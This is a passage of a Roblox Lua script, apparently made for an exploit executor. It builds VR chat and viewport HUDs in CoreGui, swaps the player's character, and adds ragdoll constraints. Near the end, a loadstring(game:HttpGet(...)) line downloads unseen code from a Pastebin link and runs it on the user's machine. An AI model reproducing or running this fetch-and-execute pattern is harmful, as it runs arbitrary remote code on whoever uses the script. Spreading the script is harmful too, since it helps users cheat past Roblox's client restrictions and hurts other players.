 local z3 =Instance.new("Humanoid", prt)
 z3.Name="Humanoid"
 z1.Position = Vector3.new(0,9999,0)
 z2.Position = Vector3.new(0,9991,0)
 game.Players.LocalPlayer.Character=prt
 wait(5)
 game.Players.LocalPlayer.Character=ch
end;

ChatHUDFunc = function()
 --[[
  Variables
 --]]
 
 local UserInputService = game:GetService("UserInputService")
 local RunService = game:GetService("RunService")
 
 local VRService = game:GetService("VRService")
  local VRReady = VRService.VREnabled
 
 local Players = game:GetService("Players")
  local Client = Players.LocalPlayer
 
 local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]
  local GlobalFrame = ChatHUD.GlobalFrame
   local Template = GlobalFrame.Template
  local LocalFrame = ChatHUD.LocalFrame
  local Global = ChatHUD.Global
  local Local = ChatHUD.Local
 
 local Camera = workspace.CurrentCamera
 
 Template.Parent = nil
 ChatHUD.Parent = game:GetService("CoreGui")
 
 --[[
  Code
 --]]
 
 local Highlight = Global.Frame.BackgroundColor3
 local Deselected = Local.Frame.BackgroundColor3
 
 local OpenGlobalTab = function()
  Global.Frame.BackgroundColor3 = Highlight
  Local.Frame.BackgroundColor3 = Deselected
  
  Global.Font = Enum.Font.SourceSansBold
  Local.Font = Enum.Font.SourceSans
  
  GlobalFrame.Visible = true
  LocalFrame.Visible = false
 end
 
 local OpenLocalTab = function()
  Global.Frame.BackgroundColor3 = Deselected
  Local.Frame.BackgroundColor3 = Highlight
  
  Global.Font = Enum.Font.SourceSans
  Local.Font = Enum.Font.SourceSansBold
  
  GlobalFrame.Visible = false
  LocalFrame.Visible = true
 end
 
 Global.MouseButton1Down:Connect(OpenGlobalTab)
 Local.MouseButton1Down:Connect(OpenLocalTab)
 Global.MouseButton1Click:Connect(OpenGlobalTab)
 Local.MouseButton1Click:Connect(OpenLocalTab)
 
 OpenLocalTab()
 
 --
 
 local function GetPlayerDistance(Sender)
  if Sender.Character and Sender.Character:FindFirstChild("Head") then
   return math.floor((Sender.Character.Head.Position - Camera:GetRenderCFrame().p).Magnitude + 0.5)
  end
 end
 
 local function NewGlobal(Message, Sender, Color)
  local Frame = Template:Clone()
  
  Frame.Text = ("[%s]: %s"):format(Sender.Name, Message)
  Frame.User.Text = ("[%s]:"):format(Sender.Name)
  Frame.User.TextColor3 = Color
  Frame.BackgroundColor3 = Color
  Frame.Parent = GlobalFrame
  
  delay(60, function()
   Frame:Destroy()
  end)
 end
 
 local function NewLocal(Message, Sender, Color, Dist)
  local Frame = Template:Clone()
  
  Frame.Text = ("(%s) [%s]: %s"):format(tostring(Dist), Sender.Name, Message)
  Frame.User.Text = ("(%s) [%s]:"):format(tostring(Dist), Sender.Name)
  Frame.User.TextColor3 = Color
  Frame.BackgroundColor3 = Color
  Frame.Parent = LocalFrame
  
  delay(60, function()
   Frame:Destroy()
  end)
 end
 
 local function OnNewChat(Message, Sender, Color)
  if not ChatHUD or not ChatHUD.Parent then return end
  
  NewGlobal(Message, Sender, Color)
  
  local Distance = GetPlayerDistance(Sender)
  
  if Distance and Distance <= ChatLocalRange then
   NewLocal(Message, Sender, Color, Distance)
  end
 end
 
 local function OnPlayerAdded(Player)
  if not ChatHUD or not ChatHUD.Parent then return end
  
  local Color = BrickColor.Random().Color
  
  Player.Chatted:Connect(function(Message)
   OnNewChat(Message, Player, Color)
  end)
 end
 
 Players.PlayerAdded:Connect(OnPlayerAdded)
 
 for _, Player in pairs(Players:GetPlayers()) do
  OnPlayerAdded(Player)
 end
 
 --
 
 local ChatPart = ChatHUD.Part
 
 ChatHUD.Adornee = ChatPart
 
 if VRReady then
  ChatHUD.Parent = game:GetService("CoreGui")
  ChatHUD.Enabled = true
  ChatHUD.AlwaysOnTop = true
  
  local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)
   if not Processed then
    if Input.KeyCode == Enum.KeyCode.ButtonX then
     ChatHUD.Enabled = not ChatHUD.Enabled
    end
   end
  end)
  
  local RenderStepped = RunService.RenderStepped:Connect(function()
   local LeftHand = VRService:GetUserCFrame(Enum.UserCFrame.LeftHand)
   
   ChatPart.CFrame = Camera.CFrame * LeftHand
  end)
  
  local CharacterAdded
  
  CharacterAdded = Client.CharacterAdded:Connect(function()
   OnInput:Disconnect()
   RenderStepped:Disconnect()
   CharacterAdded:Disconnect()
   
   ChatHUD:Destroy()
   ChatHUD = nil
  end)
 end
 
 wait(9e9)
end;

ViewHUDFunc = function()
 --[[
  Variables
 --]]
 
 local ViewportRange = ViewportRange or 32
 
 local UserInputService = game:GetService("UserInputService")
 local RunService = game:GetService("RunService")
 
 local VRService = game:GetService("VRService")
  local VRReady = VRService.VREnabled
 
 local Players = game:GetService("Players")
  local Client = Players.LocalPlayer
   local Mouse = Client:GetMouse()
 
 local Camera = workspace.CurrentCamera
  local CameraPort = Camera.CFrame
 
 local ViewHUD = script:FindFirstChild("ViewHUD") or game:GetObjects("rbxassetid://4480405425")[1]
  local Viewport = ViewHUD.Viewport
   local Viewcam = Instance.new("Camera")
  local ViewPart = ViewHUD.Part
 
 ViewHUD.Parent = game:GetService("CoreGui")
 
 Viewcam.Parent = Viewport
 Viewcam.CameraType = Enum.CameraType.Scriptable
 Viewport.CurrentCamera = Viewcam
 Viewport.BackgroundTransparency = 1
 
 --[[
  Code
 --]]
 
 local function Clone(Character)
  local Arc = Character.Archivable
  local Clone;
  
  Character.Archivable = true
  Clone = Character:Clone()
  Character.Archivable = Arc
  
  return Clone
 end
 
 local function GetPart(Name, Parent, Descendants)
  for i = 1, #Descendants do
   local Part = Descendants[i]
   
   if Part.Name == Name and Part.Parent.Name == Parent then
    return Part
   end
  end
 end
 
 local function OnPlayerAdded(Player)
  if not ViewHUD or not ViewHUD.Parent then return end
  
  local function CharacterAdded(Character)
   if not ViewHUD or not ViewHUD.Parent then return end
   
   Character:WaitForChild("Head")
   Character:WaitForChild("Humanoid")
   
   wait(3)
   
   local FakeChar = Clone(Character)
   local Root = FakeChar:FindFirstChild("HumanoidRootPart") or FakeChar:FindFirstChild("Head")
   local RenderConnection;
   
   local Descendants = FakeChar:GetDescendants()
   local RealDescendants = Character:GetDescendants()
   local Correspondents = {};
   
   FakeChar.Humanoid.DisplayDistanceType = "None"
   
   for i = 1, #Descendants do
    local Part = Descendants[i]
    local Real = Part:IsA("BasePart") and GetPart(Part.Name, Part.Parent.Name, RealDescendants)
    
    if Part:IsA("BasePart") and Real then
     Part.Anchored = true
     Part:BreakJoints()
     
     if Part.Parent:IsA("Accessory") then
      Part.Transparency = 0
     end
     
     table.insert(Correspondents, {Part, Real})
    end
   end
   
   RenderConnection = RunService.RenderStepped:Connect(function()
    if not Character or not Character.Parent then
     RenderConnection:Disconnect()
     FakeChar:Destroy()
     
     return
    end
    
    if (Root and (Root.Position - Camera.CFrame.p).Magnitude <= ViewportRange) or Player == Client or not Root then
     for i = 1, #Correspondents do
      local Part, Real = unpack(Correspondents[i])
      
      if Part and Real and Part.Parent and Real.Parent then
       Part.CFrame = Real.CFrame
      elseif Part.Parent and not Real.Parent then
       Part:Destroy()
      end
     end
    end
   end)
   
   FakeChar.Parent = Viewcam
  end
  
  Player.CharacterAdded:Connect(CharacterAdded)
  
  if Player.Character then
   spawn(function()
    CharacterAdded(Player.Character)
   end)
  end
 end
 
 local PlayerAdded = Players.PlayerAdded:Connect(OnPlayerAdded)
 
 for _, Player in pairs(Players:GetPlayers()) do
  OnPlayerAdded(Player)
 end
 
 ViewPart.Size = Vector3.new()
 
 if VRReady then
  Viewport.Position = UDim2.new(.62, 0, .89, 0)
  Viewport.Size = UDim2.new(.3, 0, .3, 0)
  Viewport.AnchorPoint = Vector2.new(.5, 1)
 else
  Viewport.Size = UDim2.new(0.3, 0, 0.3, 0)
 end
 
 local RenderStepped = RunService.RenderStepped:Connect(function()
  local Render = Camera.CFrame
  local Scale = Camera.ViewportSize
  
  if VRReady then
   Render = Render * VRService:GetUserCFrame(Enum.UserCFrame.Head)
  end
  
  CameraPort = CFrame.new(Render.p + Vector3.new(5, 2, 0), Render.p)
  
  Viewport.Camera.CFrame = CameraPort
  
  ViewPart.CFrame = Render * CFrame.new(0, 0, -16)
  
  ViewHUD.Size = UDim2.new(0, Scale.X - 6, 0, Scale.Y - 6)
 end)
  
 --
 
 local CharacterAdded
 
 CharacterAdded = Client.CharacterAdded:Connect(function()
  RenderStepped:Disconnect()
  CharacterAdded:Disconnect()
  PlayerAdded:Disconnect()
  
  ViewHUD:Destroy()
  ViewHUD = nil
 end)
 
 wait(9e9)
end;

Script()

wait(2)

local Players = game:GetService("Players")
local lp = Players.LocalPlayer
local character = lp.Character
local A0LL = Instance.new("Attachment", character["Left Leg"])
A0LL.Position = Vector3.new(0, 1, 0)
local A1LL = Instance.new("Attachment", character["Torso"])
A1LL.Position = Vector3.new(-0.5, -1, 0)
local socket1 = Instance.new("BallSocketConstraint", character["Left Leg"])
socket1.Attachment0 = A0LL
socket1.Attachment1 = A1LL
local A0RL = Instance.new("Attachment", character["Right Leg"])
A0RL.Position = Vector3.new(0, 1, 0)
local A1RL = Instance.new("Attachment", character["Torso"])
A1RL.Position = Vector3.new(0.5, -1, 0)
local socket2 = Instance.new("BallSocketConstraint", character["Right Leg"])
socket2.Attachment0 = A0RL
socket2.Attachment1 = A1RL
local A0H = Instance.new("Attachment", character["Head"])
A0H.Position = Vector3.new(0, -0.5, 0)
local A1H = Instance.new("Attachment", character["Torso"])
A1H.Position = Vector3.new(0, 1, 0)
local socket5 = Instance.new("BallSocketConstraint", character["Head"])
socket5.Attachment0 = A0H
socket5.Attachment1 = A1H
loadstring(game:HttpGet("https://pastebin.com/raw/Byd1PdHn",true))()
-----------------------------------------------------------
wait(9e9)
warn("Enjoy to use fixed by lolkek352443!")